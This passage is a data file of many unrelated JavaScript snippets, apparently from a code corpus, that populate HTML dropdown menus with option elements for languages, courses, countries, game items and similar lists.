\"<option>Latvian</option>\";\n menu += \"<option>Lithuanian</option>\";\n menu += \"<option>Maltese</option>\";\n menu += \"<option>Navajo & Apache</option>\";\n menu += \"<option>Old English</option>\";\n menu += \"<option>Pinyin</option>\";\n menu += \"<option>Polish</option>\";\n menu += \"<option>Portuguese</option>\";\n menu += \"<option>Rōmaji</option>\";\n menu += \"<option>Romanian</option>\";\n menu += \"<option>Scandinavian</option>\";\n menu += \"<option>Sorbian</option>\";\n menu += \"<option>Spanish</option>\";\n menu += \"<option>Thai</option>\";\n menu += \"<option>Turkic</option>\";\n menu += \"<option>Vietnamese</option>\";\n menu += \"<option>Welsh</option>\";\n menu += \"<option>Yiddish</option>\";\n menu += \"<option>IPA</option>\";\n menu += \"<option>Math/TeX</option>\";\n menu += \"</select>\";\n specialchars.innerHTML = menu + specialchars.innerHTML;\n\n /* default subset - try to use a cookie some day */\n chooseCharSubset(0);\n }\n}", "function getDropwDownElementsBody() {\r\n\r\n var code = ' <input type=\"submit\" onclick=\"addOption(this)\">' +\r\n '<div id=\"options\">' +\r\n ' </div>';\r\n\r\n return code;\r\n}", "populate_dropdown() {\n let dropdown = $(\"#vertex-shader\");\n this.shader_lib.vertex_info.map((x, i) => {\n $('<option>')\n .val(i)\n .html(x.title)\n .appendTo(dropdown);\n });\n }", "function generateOutput() {\n str = '';\n AreaOutput.childNodes[0].childNodes.forEach( node => {\n if(node.nodeName == \"SPAN\"){\n str += node.innerText;\n } else {\n str += node.options[node.selectedIndex].text;\n }\n });\n return str;\n}", "function generarSelect() {\r\n\r\n document.getElementById(\"Categoria\").innerHTML = '';\r\n for (let i = 0; i < Categorias.length; i++) {\r\n document.getElementById(\"Categoria\").innerHTML +=\r\n ` <option value=\"${Categorias[i].nombreCategoria}\">${Categorias[i].nombreCategoria}</option>`;\r\n }\r\n}", "function genDocenti(lettera) {\r\n let lista = listaDocenti[lettera.toUpperCase()]\r\n let str = ``\r\n\r\n if(lista.length == 0)\r\n return `<option disabled value=\"NULL\">MISSING</option>` \r\n\r\n lista.forEach(element => {\r\n str += `<option value=\"${element}\">${element}</option>`\r\n })\r\n return str\r\n}", "function MUD_FillOptionsBankname() {\n console.log(\"===== MUD_FillOptionsBankname ===== \");\n const selected_value = null;\n let item_text = \"\"\n for (let i = 0, value; value = bankname_rows[i]; i++){\n item_text += \"<option value=\\\"\" + value + \"\\\"\";\n if (selected_value && value === selected_value) {item_text += \" selected\" };\n item_text += \">\" + value + \"</option>\";\n };\n\n el_MUD_select_bankname.innerHTML = item_text;\n\n } // MUD_FillOptionsBankname", "function setUpDropdownMenu() {\n\tvar dropdown = document.getElementById(\"dictionary-title\");\n\n\tfor (var columnKey in Object.keys(dictionaries_in_dropdown_data)) {\n\t\t// Get column data from large column object\n\t\tvar column_data = dictionaries_in_dropdown_data[columnKey];\n\n\t\t// Create the option element for the dropdown\n\t\tvar option = document.createElement('option');\n\t\toption.text = column_data[\"title\"]; // set the text to be the title\n\t\toption.value = columnKey; \t\t\t// set the value to be the index\n\t\tdropdown.appendChild(option);\n\t}\n}", "function newSelectItem(text) {\r\n //String compilation\r\n ///Correctly formats HTML to be appended to the input box, returned at the end of the function\r\n var option = \"<option value='\" + text + \"'>\" + text + \"</option>\";\r\n\r\n return option\r\n}", "function newSelectItem(text) {\r\n //String compilation\r\n ///Correctly formats HTML to be appended to the input box, returned at the end of the function\r\n var option = \"<option value='\" + text + \"'>\" + text + \"</option>\";\r\n\r\n return option\r\n}", "function build_select_list(target_field_name,results,layer_name){\r\n\tvar display_html = '<select name=\"'+target_field_name+'\" id=\"'+target_field_name+'\">';\r\n\tfor(i=0;i<results.length;i++){\r\n\t\tdisplay_html = display_html + '<option value=\"'+results[i].id+'\">' + results[i].label + '<\\/option>';\r\n\t}//end for\r\n\tdocument.getElementById(layer_name).innerHTML = display_html + '<\\/select>';\r\n}", "function constDomDropdown() {\n\n let dropdownString =\"\";\n\n dropdownString += `\n <form>\n <fieldset>\n <label for=\"displayDogs\">How many dogs?</label>\n <select id=\"displayDogs\" name=\"dogs\">\n `\n\n for (let i=1;i<3;i++) {\n dropdownString += `<option value=\"${i}\">${i}</option>`\n };\n\n dropdownString += `<option value=\"3\" selected>3</option>`\n\n for (let i=4;i<51;i++) {\n dropdownString += `<option value=\"${i}\">${i}</option>`\n };\n\n dropdownString += `\n </select>\n <button type=\"submit\" class=\"displayDom\">Display</button>\n </fieldset>\n </form>\n <div class='multiDogDisplayArea'></div>\n `\n\n $('.displayDomMultiRand').html(dropdownString);\n}", "function renderTags2() {\r\n\r\n let strHtml = \"<option value=''>Escolher</option>\"\r\n for (let i = 0; i < tags.length; i++) {\r\n strHtml += `<option value='${tags[i]._id}'>${tags[i]._name}</option>`\r\n }\r\n let escolherTag = document.getElementById(\"inputSelTags\")\r\n escolherTag.innerHTML = strHtml\r\n\r\n}", "function fredCode() {\n\tvar nameTag = \"<option value='0'>Select</option>\";\n\tfor (let index = 0; index < currencyCh.length; index++) {\n\t\tconst name = currencyCh[index];\n\t\tnameTag += \"<option value='\" + name + \"'>\" + name + \"</option>\"\n\t}\n\tdocument.getElementById('currencyChange').innerHTML = nameTag;\n}", "function combo(){\n alert(select);\n var label= __('amb1');\n var select= __('estEspecial').value;\n // alert(select);\n label.innerHTML= select;\n \n // alert(select.textContent);\n}", "function fillFormTitleApspc() {\n var data = \"\";\n courses.forEach(function (course) {\n data += `<option class=\"apspc\" value=\"${course.Id}\">${course.Title}</option>`;\n })\n document.getElementById(\"select_apspc\").innerHTML = data;\n}", "function _build (tpl, view) {\n var\n // Template for the dropdown\n template = tpl,\n // Holder of the dropdowns options\n options = [],\n $dk\n ;\n\n template = template.replace('{{ id }}', view.id);\n template = template.replace('{{ label }}', view.label);\n template = template.replace('{{ tabindex }}', view.tabindex);\n\n if (view.options && view.options.length) {\n for (var i = 0, l = view.options.length; i < l; i++) {\n var\n $option = $(view.options[i]),\n current = 'dk_option_current',\n oTemplate = optionTemplate\n ;\n\n oTemplate = oTemplate.replace('{{ value }}', escapeHtml($option.val())); // Added escapeHtml\n oTemplate = oTemplate.replace('{{ current }}', (_notBlank($option.val()) === view.value) ? current : '');\n oTemplate = oTemplate.replace('{{ text }}', escapeHtml($option.text())); // Added escapeHtml\n\n options[options.length] = oTemplate;\n }\n }\n\n $dk = $(template);\n $dk.find('.dk_options_inner').html(options.join(''));\n\n return $dk;\n }", "function generateHtml(stuffs) {\n return stuffs\n .map(stuff => {\n return `\n <option value=\"${stuff.id}\">${stuff.id} - ${stuff.currencyName}</option>\n `;\n })\n .sort()\n .join(\" \");\n}", "function initializeDropDown() {\n var dropDownHTML = new String();\n dropDownHTML += '<select id=\"timeZoneSelect\" onchange=\"changeDateTime()\"><option value=\"\">Change Time Zone</option>';\n\n for (i in forecast.timeZoneList) {\n dropDownHTML += '<option value=\"' + i + '\">' + forecast.timeZoneList[i][1] + '</option>';\n }\n dropDownHTML += '</select>';\n document.getElementById(\"timeZoneDropDown\").innerHTML = dropDownHTML;\n}", "function initializeSlideDropdown() {\n var html = \"\";\n\n for (var i = 0; i < storyLength; i++) {\n html += \"<option>\" + (i+1) + \": \" + titleList[i] + \"</option>\\n\";\n }\n\n $slideDropdown.append(html);\n}", "buildSelectOperatorHtmlString() {\n const optionValues = this.getOptionValues();\n let optionValueString = '';\n optionValues.forEach((option) => {\n optionValueString += `<option value=\"${option.operator}\" title=\"${option.description}\">${option.operator}</option>`;\n });\n return `<select class=\"form-control\">${optionValueString}</select>`;\n }", "_format_vernacular_selector(selected) {\n var url = '/admin/v1/all_species_vernacular';\n var json = this.dao.httpGet(url);\n console.log(json)\n var obj = JSON.parse(json);\n \n var resp = \"\";\n for (var i in obj) {\n var option = obj[i];\n if (selected == option.ott_id) {\n resp += `<option value=\"${option.ott_id}\" selected>${option.vernacular_name_english}</option>`\n } else {\n resp += `<option value=\"${option.ott_id}\">${option.vernacular_name_english}</option>`\n }\n }\n return `\n <label class=\"filter_label\" for=\"vernacular_selector\">Species (English name)</label>\n <select id=\"vernacular_selector\">\n ${resp}\n </select>`;\n }", "function addDropDown() {\n var select = document.createElement(\"select\");\n select.setAttribute(\"id\", \"dropdown\");\n var option = document.createElement(\"option\");\n option.setAttribute(\"value\", 0);\n option.innerText = \"Today\";\n select.appendChild(option);\n for (var i = 1; i <= 24; i++) {\n var option = document.createElement(\"option\");\n option.setAttribute(\"value\", i);\n option.innerText = \"Wk\" + i;\n if (i != 17) {\n option.innerText = \"Wk\" + i;\n } else {\n option.innerText = \"Wk\" + i + \"/18\";\n i++;\n }\n select.appendChild(option);\n }\n //console.log(select);\n var div = document.createElement(\"div\");\n div.innerText = \"wk\";\n div.setAttribute(\"class\", \"navtarget\");\n select.style.cssFloat = \"right\";\n select.style.letterSpacing = \"initial\";\n document\n .getElementsByClassName(\"Nav-h Py-med No-brdbot Tst-pos-nav\")[0]\n .appendChild(select);\n}", "function fillFormTitleApc() {\n var data = \"\";\n courses.forEach(function (course) {\n data += `<option class=\"apc\" value=\"${course.Id}\">${course.Title}</option>`;\n })\n document.getElementById(\"select_apc\").innerHTML = data;\n}", "function generateText() {\n\t$(\"#display\").html(\"<h3>\" + questionList[questionNumber].question + \"</h3><h4 class='choice'>A. \" + questionList[questionNumber].answerArray[0] + \"</h4><h4 class='choice'>B. \"+questionList[questionNumber].answerArray[1]+\"</h4><h4 class='choice'>C. \"+questionList[questionNumber].answerArray[2]+\"</h4><h4 class='choice'>D. \"+questionList[questionNumber].answerArray[3]+\"</h4>\");\n\n}", "function fillFormTitleSpc() {\n var data = \"\";\n courses.forEach(function (course) {\n data += `<option class=\"spc\" value=\"${course.Id}\">${course.Title}</option>`;\n })\n document.getElementById(\"select_spc\").innerHTML = data;\n}", "function DropDownList(SubjectList){\n var Selectbox = document.getElementById(\"Subject\");\n\n for (i=0; i <SubjectList.length; i++) {\n var SubjectOption = document.createElement(\"option\");\n var SubjectText = document.createTextNode(SubjectList[i]);\n SubjectOption.appendChild(SubjectText);\n Selectbox.appendChild(SubjectOption);\n }\n}", "function generate_sentence(sentence, entities){\n\n $(\"#sentence_block\").empty();\n\n availableOptionArray = [];\n availableOptionArray.push({tag: \"0\", color: color_list[0]});\n for (let i=0; i<entities.length;i++){\n availableOptionArray.push({tag: entities[i], color: color_list[i+1]});\n }\n\n uploadTagArray = sentence;\n for (let i = 0; i < sentence.length; i++) {\n\n let tempSpan = '<span style=\"background-color:' + getTagColor(sentence[i].tag, availableOptionArray)\n + '\"' + ' class =\"word\" id = \"word' + i.toString() + '\">' + sentence[i].word + '</span>';\n let tempBlock = '<div class=\"dropdown\" id=\"dropdown_'+ i.toString() + '\">' + tempSpan +'</div>';\n $(\"#sentence_block\").append(tempBlock);\n let dropdownBlock = getDropDown(availableOptionArray, i.toString());\n $(\"#dropdown_\" + i).append(dropdownBlock);\n }\n}", "function createModelDropdownMenu() {\r\n\tvar input = \"\";\r\n\tinput += '<select id=\"select_model\" onchange=\"loadModelShape()\"><option value=\"select model\">select model...</option>';\r\n\tfor (var i = 0; i < curModels.length; i++) {\r\n\t\tinput += '<option value=\"' + curModels[i].name + '\">' + curModels[i].name + '</option>';\r\n\t}\r\n\tinput += '</select>';\r\n\treturn input;\r\n}", "function populateDropdown (dropdownId, doSthFunction, descriptions,\nstart_i, max_i, incr_i, refVal, selected_i){\n\n var \n select = document.getElementById(dropdownId), \n option = null;\n \n for(let ind = 0; ind <= select.length; ind+=1) {\n \n select.remove(ind);\n }\n\n\n for(let i = start_i; Math.abs(i) <= Math.abs(max_i); i+=incr_i) {\n \n option = document.createElement(\"option\");\n \n\toption.value = i;\n \n\toption.innerHTML = \n (descriptions[Math.abs(i)] || \"\" )+\n \" \" + doSthFunction(refVal,i)\n;\n select.appendChild(option);\n // //console.log(\"optioninHTML:\"+option.innerHTML)\n }\n\n select.selectedIndex=selected_i || 0;\n}", "function getcountryText() {\n //find out the length of the pickedCountry\n for (var i=0; i<pickedCountry.length; i++){\n countryText.push(\"_\");\n //To display the dashes on screen without the commas, we'll use a string varaible and concatenate the array values to it.\n\n pickedCountryText += countryText[i];\n\n }\n }", "function createBreedList(breedList) {\r\n document.getElementById(\"breed\").innerHTML = `\r\n <select onchange=\"loadByBreed(this.value)\">\r\n <option>Choose a dog breed</option>\r\n //makes an Array\r\n ${Object.keys(breedList)\r\n .map(function(breed) {\r\n return `<option>${breed}</option>`;\r\n })\r\n .join(\"\")}\r\n </select>\r\n `;\r\n}", "function _build(tpl, view) {\r\n var\r\n // Template for the dropdown\r\n template = tpl,\r\n // Holder of the dropdowns options\r\n options = [],\r\n $dk\r\n ;\r\n\r\n template = template.replace('{{ id }}', view.id);\r\n template = template.replace('{{ label }}', view.label);\r\n template = template.replace('{{ tabindex }}', view.tabindex);\r\n\r\n if (view.options && view.options.length) {\r\n for (var i = 0, l = view.options.length; i < l; i++) {\r\n var\r\n $option = $(view.options[i]),\r\n current = 'dk_option_current',\r\n oTemplate = optionTemplate\r\n ;\r\n\r\n oTemplate = oTemplate.replace('{{ value }}', $option.val());\r\n oTemplate = oTemplate.replace('{{ current }}', (_notBlank($option.val()) === view.value) ? current : '');\r\n oTemplate = oTemplate.replace('{{ text }}', $option.text());\r\n\r\n options[options.length] = oTemplate;\r\n }\r\n }\r\n\r\n $dk = $(template);\r\n $dk.find('.dk_options_inner').html(options.join(''));\r\n\r\n return $dk;\r\n }", "function generateDropdown(object) {\n var values = object.value;\n var names = object.name;\n var dropdown = document.createElement(\"select\");\n dropdown.id = object.title;\n dropdown.classList.add(\"dropdown\");\n dropdown.addEventListener(\"change\", switchOption);\n document.getElementById(\"menu\").appendChild(dropdown);\n for (var i = 0; i < object.value.length; i++) {\n var option = document.createElement(\"option\");\n option.value = object.value[i];\n option.text = object.name[i];\n if (object.name[i] === object.default) {\n option.selected = \"selected\";\n }\n dropdown.appendChild(option);\n }\n\n}", "async function displayCatagories(){\n const catagories= await getCatagories();\n selectCatagory.innerHTML= catagories.map(catagory =>{\n return `\n <option value=\"${catagory}\"> ${catagory} </option>\n `\n }).join(' ');\n}", "function populateDropdowns() {\n}", "function benefitOptionText() { \n return gapPlanData.benefitOption();\n}", "function dropDownLists(category, options){\n var description = ['Two to Six Apartments, Over 62 Years', 'Mixed commercial/residential building, 6 units or less, sq ft less than 20,000', 'Two or three story non-fireproof corridor apartments,or california type apartments, interior entrance','Two or three story non-frprf. crt. and corridor apts or california type apts, no corridors, ex. entrance','Mixed use commercial/residential with apts. above seven units or more or building sq. ft. over 20,000'];\n var street = ['JUSTINE', 'TAYLOR', 'HARRISON','POLK','LAFLIN','FILLMORE','LEXINGTON','FLOURNOY','BISHOP','LOOMIS','VAN BUREN','ROOSEVELT','GRENSHAW','ADA','THROOP','JACKSON','LYTLE','RACINE','MAY','VERNON PARK','ABERDEEN','CARPENTER','MILLER','MORGAN','17TH','18TH','19TH','21ST','CULLERTON','CERMAK','DAMEN','WOOD','ASHLAND','BLUE ISLAND','ALLPORT','WASHBURNE','MAXWELL','PEORIA','WESTERN','GRAND','HADDON','ARTESIAN','DIVISION','ARTESIAN','SACRAMENTO','GEORGE','WHIPPLE','TROY','ALBANY','KEDZIE','SUPERIOR','OHIO'];\n var resType = ['1.5 - 1.9','Two Story', 'Three Story'];\n var bldUsg = ['Multi Family'];\n var extDesc = ['Masonry','Frame','Frame/Masonry'];\n var bsmtDesc = ['Partial and Unfinished','Partial and Apartment','Slab and Unfinished','Full and Apartment','Full and Formal Rec. Room','Full and Unfinished','Craw and Formal Rec. Room'];\n var atticDesc = ['Full and Living Area','Partial and Living Area','Frame/Masonry'];\n var garDesc = ['1 Car Detached','1 1/2 Car Detached','2 Cars Detached','2 Cars Attached','2 1/2 Cars Attched','3 Cars Detached','4 Cars Detached'];\n var appealStatus = ['Appeal Review Complete'];\n var appealResult = ['Assessed Value Adjusted','Assessed Value Not Adjusted'];\n\n switch (category.value) {\n case 'CLASS_DESCRIPTION':\n options.options.length = 0;\n for (i = 0; i < description.length; i++) {\n createOption(options, description[i], description[i]);\n }\n break;\n case 'Street':\n options.options.length = 0;\n for (i = 0; i < street.length; i++) {\n createOption(options, street[i], street[i]);\n }\n break;\n case 'RES_TYPE':\n options.options.length = 0;\n for (i = 0; i < resType.length; i++) {\n createOption(options, resType[i], resType[i]);\n }\n break;\n case 'BLDG_USE':\n options.options.length = 0;\n for (i = 0; i < bldUsg.length; i++) {\n createOption(options, bldUsg[i], bldUsg[i]);\n }\n break;\n case 'EXT_DESC':\n options.options.length = 0;\n for (i = 0; i < extDesc.length; i++) {\n createOption(options, extDesc[i], extDesc[i]);\n }\n break;\n case 'BSMT_DESC':\n options.options.length = 0;\n for (i = 0; i < bsmtDesc.length; i++) {\n createOption(options, bsmtDesc[i], bsmtDesc[i]);\n }\n break;\n case 'ATTIC_DESC':\n options.options.length = 0;\n for (i = 0; i < atticDesc.length; i++) {\n createOption(options, atticDesc[i], atticDesc[i]);\n }\n break;\n case 'GAR_DESC':\n options.options.length = 0;\n for (i = 0; i < garDesc.length; i++) {\n createOption(options, garDesc[i], garDesc[i]);\n }\n break;\n case 'APPEAL_A_STATUS':\n options.options.length = 0;\n for (i = 0; i < appealStatus.length; i++) {\n createOption(options, appealStatus[i], appealStatus[i]);\n }\n break;\n case 'APPEAL_A_RESULT':\n options.options.length = 0;\n for (i = 0; i < appealResult.length; i++) {\n createOption(options, appealResult[i], appealResult[i]);\n }\n break;\n default:\n options.options.length = 0;\n break;\n }\n\n}", "function generateHTML() {\r\n return `\r\n <ul class=\"list__task--dropdown\">\r\n <li class=\"status__pending\"><a href=\"#1\" class=\"table__status--button\">Pending<span class=\"triangle\">▼</span></a></li>\r\n <li class=\"status__ongoing\">Ongoing</li>\r\n <li class=\"status__complete\">Complete</li>\r\n </ul>`\r\n }", "function Dropdown(){\n this.createDropdown = function(dict, name, id, selected){\n this.item = document.createElement(\"select\")\n\t\tthis.name = name\n\n\t\tvar ttmp = document.createElement(\"label\")\n\t\tttmp.setAttribute(\"name\", name)\t\t\t\n\t\tttmp.innerHTML = this.name\n\t\tthis.item.appendChild(ttmp)\n\n \t\tfor(var x in dict){\n \t\tvar tmp =document.createElement(\"option\")\n \t\ttmp.setAttribute('value',dict[x])\n \t\ttmp.innerHTML= x + '<br>' \n \n \t\tthis.item.appendChild(tmp)\n \t}\n\n },\n \n this.getSelected = function(){\n this.item=document.getElementById()\n },\n\n this.addToDocument = function(){\n document.body.appendChild(this.item);\n\n }\n}", "populateUnitMenus() {\n\t\tlet category = this.m_catMenu.value;\n\t\tthis.m_unitAMenu.innerHTML = \"\";\n\t\tCONFIG[category].forEach(function(item) {\n\t\t\tGUI.m_unitAMenu.innerHTML += \"<option value=\\\"\" + item[0] + \"\\\">\" + item[1] + \"</option>\";\n\t\t});\n\t\t\n\t\tthis.m_unitBMenu.innerHTML = \"\";\n\t\tCONFIG[category].forEach(function(item) {\n\t\t\tGUI.m_unitBMenu.innerHTML += \"<option value=\\\"\" + item[0] + \"\\\">\" + item[1] + \"</option>\";\n\t\t});\n\t}", "function dropDown() {\n // Use list of sample names to render the select options\n Plotly.d3.json(\"/names\", function (error, response) {\n if (error) return console.warn(error);\n\n let selection = document.getElementById(\"select-dataset\");\n for (let i = 0; i < response.length; i++) {\n let selectedOption = document.createElement(\"option\");\n selectedOption.text = response[i];\n selectedOption.value = response[i];\n selection.appendChild(selectedOption);\n }\n getData(response[0], createCharts);\n });\n}", "function renderDropdown(products) {\n\tfor (let product of products) {\n\t\tlet option = document.createElement('option');\n\t\toption.setAttribute('value', product.name);\n\t\toption.textContent = product.name;\n\t\tselect.appendChild(option);\n\t}\n}", "function creationSelect(liste_option_lentille){\n liste_deroulante_option = '<select class=\"description_option\"><option>Selectionner une lentille</option>' ;\n //Récupération de toutes les valeurs pour les mettre dans une balise option de la liste deroulante\n for (let valeur_option of liste_option_lentille) {\n liste_deroulante_option += \"<option value='\" + valeur_option + \"'>\" + valeur_option + \"</option>\";\n }\n //Fermeture de la balise select\n liste_deroulante_option += '</select>';\n return liste_deroulante_option\n}", "function dropdown(next) {\n var select = \"<select name='nextequestion' id='nextquestion' class='ne'>\"\n if (Object.keys(dict).length == 0) {\n select += \"<option value='\"+0+\"'>\"+0+\":\"+\"Text noch unbekannt\"+\"</option>\"\n } else {\n for(var key in dict) {\n if (key == next) {\n select += \"<option selected='selected' value='\"+key+\"'>\"+key+\":\"+dict[key]+\"</option>\"\n } else {\n select += \"<option value='\"+key+\"'>\"+key+\":\"+dict[key]+\"</option>\"\n }\n }\n \n }\n select += \"</select>\"\n return select\n}", "function McDropdownPanel() { }", "function updateCharacter() {\n\n\tconst char = charList[document.getElementById('character').value];\n\n \t//--------------------------------------------------------------------\n\t//Compute strings to use as the new dropdown lists.\n\t//--------------------------------------------------------------------\n \n //---Attire---\n let attireDropdownListString = '<option value=\"0\" selected>None</option>\\n';\n for (let i = 1; i < char.attire.length; i++) {\n \tattireDropdownListString += '<option value=\"' + i + '\" title=\"' + char.attire[i].getTooltipMessage() + '\">' +\n \tchar.attire[i].name + '</option>\\n';\n }\n\n //---Weapons---\n\tlet weapon1DropdownListString = '<option value=\"0\" selected>None</option>\\n';\n\tlet weapon2DropdownListString = '<option value=\"0\" selected>None</option>\\n';\n if (char.name == 'Noctis') {\n \tlet currentWepType = char.primaryWeapons[1].type;//Keep track of changing categories to add a new optgroup tag each time.\n \tweapon1DropdownListString += '<optgroup label=\"' + '----' + char.primaryWeapons[1].type + '----\">';\n \tfor (let i = 1; i < char.primaryWeapons.length; i++) {\n\t if (currentWepType != char.primaryWeapons[i].type) {\n\t weapon1DropdownListString += '</optgroup>\\n<optgroup label=\"' + '----' + char.primaryWeapons[i].type + '----\">\\n';\n\t currentWepType = char.primaryWeapons[i].type;\n\t }\n\t weapon1DropdownListString += '<option value=\"' + i + '\" title=\"' + char.primaryWeapons[i].getTooltipMessage() + '\">' + char.primaryWeapons[i].name + '</option>\\n';\n\t }\n\t weapon1DropdownListString += '</optgroup>\\n';\n\n }\n else { //Not Noctis.\n \tweapon1DropdownListString += '<optgroup label=\"----' + char.weaponType1 + '----\">\\n';\n for (let i = 1; i < char.primaryWeapons.length; i++) {\n \tweapon1DropdownListString += '<option value=\"' + i + '\" title=\"' + char.primaryWeapons[i].getTooltipMessage() + '\">' + char.primaryWeapons[i].name + '</option>\\n';\n }\n weapon1DropdownListString += '</optgroup>\\n';\n\n weapon2DropdownListString += '<optgroup label=\"----' + char.weaponType2 + '----\">\\n';\n for (let i = 1; i < char.secondaryWeapons.length; i++) {\n \tweapon2DropdownListString += '<option value=\"' + i + '\" title=\"' + char.secondaryWeapons[i].getTooltipMessage() + '\">' + char.secondaryWeapons[i].name + '</option>\\n';\n }\n weapon2DropdownListString += '</optgroup>\\n';\n }\n\n //---Accessories---\n let currentAccType = '';//Keep track of changing categories to add a new optgroup each time.\n let newAccessoryListString = '<option value=\"0\" selected>None</option>\\n';//Initialize Accessory dropdown list with \"None\" option.\n for (let i = 1; i < accessoryList.length; i++) {\n if (accessoryList[i].equip == char.name || accessoryList[i].equip == 'All') {\n\t \tif (currentAccType != accessoryList[i].category) {\n\t \t\tnewAccessoryListString += '<optgroup label=\"' + '----' + accessoryList[i].category +\n\t \t\t\t'----\"></optgroup>\\n';\n\t currentAccType = accessoryList[i].category;\n\t \t}\n\n newAccessoryListString += '<option value=\"' + i + '\" title=\"' + accessoryList[i].getTooltipMessage() + '\">' +\n\t \taccessoryList[i].name + '</option>\\n';\n }\n else if (char.name != 'Noctis' && accessoryList[i].equip == 'All but Noctis') {//Not Noctis.\n \tif (currentAccType != accessoryList[i].category) {\n\t \t\tnewAccessoryListString += '<optgroup label=\"' + '----' + accessoryList[i].category +\n\t \t\t\t'----\"></optgroup>\\n';\n\t currentAccType = accessoryList[i].category;\n\t \t}\n\n \tnewAccessoryListString += '<option value=\"' + i + ' title=\"' + accessoryList[i].getTooltipMessage() + '\">' +\n\t \taccessoryList[i].name + '</option>\\n';\n }\n }\n\n \t//--------------------------------------------------------------------\n\t//Update DOM with new dropdown lists\n\t//--------------------------------------------------------------------\n\n\t//---Attire---\n\t//Get Attire dropdown list element.\n const attireBox = document.getElementById('attire');\n\n //Save previous selection.\n const oldAttireValue = attireBox.value;\n\n //Replace dropdown list.\n attireBox.innerHTML = attireDropdownListString;\n\n //---Weapons---\n\t//Get Weapon dropdown list elements.\n const weapon1Box = document.getElementById('weapon1');\n const weapon2Box = document.getElementById('weapon2');\n const weapon3Box = document.getElementById('weapon3');\n const weapon4Box = document.getElementById('weapon4');\n const currentlyHeldRadios = document.getElementsByName('currentlyHeld');\n\n //Save previous selection.\n const oldWeapon1BoxValue = weapon1Box.value;\n const oldWeapon2BoxValue = weapon2Box.value;\n\n if (char.name == 'Noctis') {\n \tweapon3Box.disabled = false;//Enable weapons 3 and 4 since Noctis can use 4 weapons.\n \tweapon4Box.disabled = false;\n \tcurrentlyHeldRadios[2].disabled = false;//Enable back radio buttons.\n \tcurrentlyHeldRadios[3].disabled = false;\n\n \t//Replace dropdown lists.\n \tweapon1Box.innerHTML = weapon1DropdownListString;\n \tweapon2Box.innerHTML = weapon1DropdownListString;\n \tweapon3Box.innerHTML = weapon1DropdownListString;\n \tweapon4Box.innerHTML = weapon1DropdownListString;\n }\n else {//Not Noctis\n\t\tweapon3Box.disabled = true;//Disable Weapons 3 and 4 if not Noctis.\n\t\tweapon4Box.disabled = true;\n\t\tcurrentlyHeldRadios[2].disabled = true;//Disable respective radio buttons.\n\t\tcurrentlyHeldRadios[3].disabled = true;\n\n\t\t//Change checkmark to weapon 1, if 3 or 4 were checked.\n\t\tif (currentlyHeldRadios[2].checked || currentlyHeldRadios[3].checked) {\n\t\t\tcurrentlyHeldRadios[0].checked = true;\n\t\t}\n\n \t//Replace dropdown lists.\n \tweapon1Box.innerHTML = weapon1DropdownListString;\n \tweapon2Box.innerHTML = weapon2DropdownListString;\n \tweapon3Box.innerHTML = '<option value=\"0\" selected>None</option>\\n';//To clear previous values if any.\n \tweapon4Box.innerHTML = '<option value=\"0\" selected>None</option>\\n';\n }\n\n //---Accessories---\n\t//Get Accessory dropdown list elements.\n const acc1Box = document.getElementById('accessory1');\n const acc2Box = document.getElementById('accessory2');\n const acc3Box = document.getElementById('accessory3');\n\n //Save previous selection.\n const oldAcc1BoxValue = acc1Box.value;\n const oldAcc2BoxValue = acc2Box.value;\n const oldAcc3BoxValue = acc3Box.value;\n\n //Replace dropdown lists.\n acc1Box.innerHTML = newAccessoryListString;\n acc2Box.innerHTML = newAccessoryListString;\n acc3Box.innerHTML = newAccessoryListString;\n\n //Add or Remove the Megaphone option in Accessories.\n if (char.name != 'Gladiolus') {\n \tdocument.getElementById('MegaphonesContainter').classList.remove('d-none');\n }\n else {\n \tdocument.getElementById('MegaphonesContainter').classList.add('d-none');\n \tdocument.getElementById('megaphones').value = 0;\n }\n\n //Add or Remove the Experimagic option in Ascension.\n const experimagicCheckbox = document.getElementById('experimagic');\n if (char.name != 'Noctis') {\n \texperimagicCheckbox.disabled = true;//Disable Experimagic if not Noctis.\n \texperimagicCheckbox.checked = false;\n }\n else {\n \texperimagicCheckbox.disabled = false;//Disable Experimagic if not Noctis.\n }\n\n updateData();//Compute the result screen with the new values.\n}", "function createDropDown(object) {\n\t if($(\"#transcode\").length < 1) {\n\t\t\t$(object).find(\".btn-group\").append(\"<a id='transcode' class='btn dropdown-toggle' data-toggle='dropdown' href='#'>Transcode<span class='caret'></span></a><ul class='dropdown-menu presets'></ul>\");\n\t\t\tvar infile = $(object).attr('name');\n\t\t\t/* Uses data sent from InputOutputController -> twig -> here\n\t\t\t * For each infile key in the array there is a preset and then an extension value (null if it needs to be provided)\n\t\t\t * Each preset li in the dropdown has an 'ext' (extension) attribute denoting the extension or if it needs to be provided\n\t\t\t */\n\t\t\tif (App.preset_data[infile].length > 0) {\n\t\t\t\tfor (var i=0; i < App.preset_data[infile].length; i+=2) {\n\t\t\t\t\t$(object).find(\".dropdown-menu\").append(\"<li class='transcodable' ext='\"+App.preset_data[infile][i+1]+\"'><a>\"+ App.preset_data[infile][i] +\"</a></li>\");\n\t\t\t\t}\n\t\t\t} else { //If the input file has no allowed presets\n\t\t\t\t$(object).find(\".dropdown-menu\").append(\"<li><a>There are no presets compatible with this input file.</a></li>\");\n\t\t\t}\n\t\t}\n\t}", "function populateDropDownList(lines){\n id('selectEmail').innerHTML = \"\";\n var heading = document.createTextNode(\"Choose Below Option\");\n var opt0 = document.createElement('option');\n //append textnode to opt0\n opt0.appendChild(heading);\n //now append opt0 to dropdown list\n id('selectEmail').appendChild(opt0);\n \n /*loop through the list of friends\n and add them to the dropdown list\n */\n for(var i=0;i<lines.length;i++){\n //create text node of next friend on the list\n var friend = document.createTextNode(lines[i]);\n //create an option element for that friend\n var opt = document.createElement('option');\n //now append them all to dropdown List\n opt.appendChild(friend);\n id('selectEmail').appendChild(opt);\n }\n }", "function update_list(){\r\n\tvar htmloutput = \"<option></option><option value='newrep'>New Response</option>\";\r\n\t\r\n\tfor(i=0; i<rep_text.length; i++){\r\n\t\tvar number = i+1;\r\n\t\thtmloutput += \"<option value='\" + number + \"'>\" + number + \"</option>\";\r\n\t}\r\n\tdocument.getElementById(\"curr_total\").innerHTML = htmloutput;\r\n}", "function print_country(country_arrr) {\n var defcountryarr1 = country_arrr.mofluid_countries;\n var defcountry = country_arrr.mofluid_default_country.country_id;\n var option_str = document.getElementById(\"Scountry\");\n var i = 1,\n indexj = 0;\n option_str.options[0] = new Option(\"Select\", \"Select\");\n\n $.each(defcountryarr1, function() {\n option_str.options[i++] = new Option(defcountryarr1[indexj].country_name, defcountryarr1[indexj].country_id);\n console.log(defcountryarr1[indexj].country_name);\n 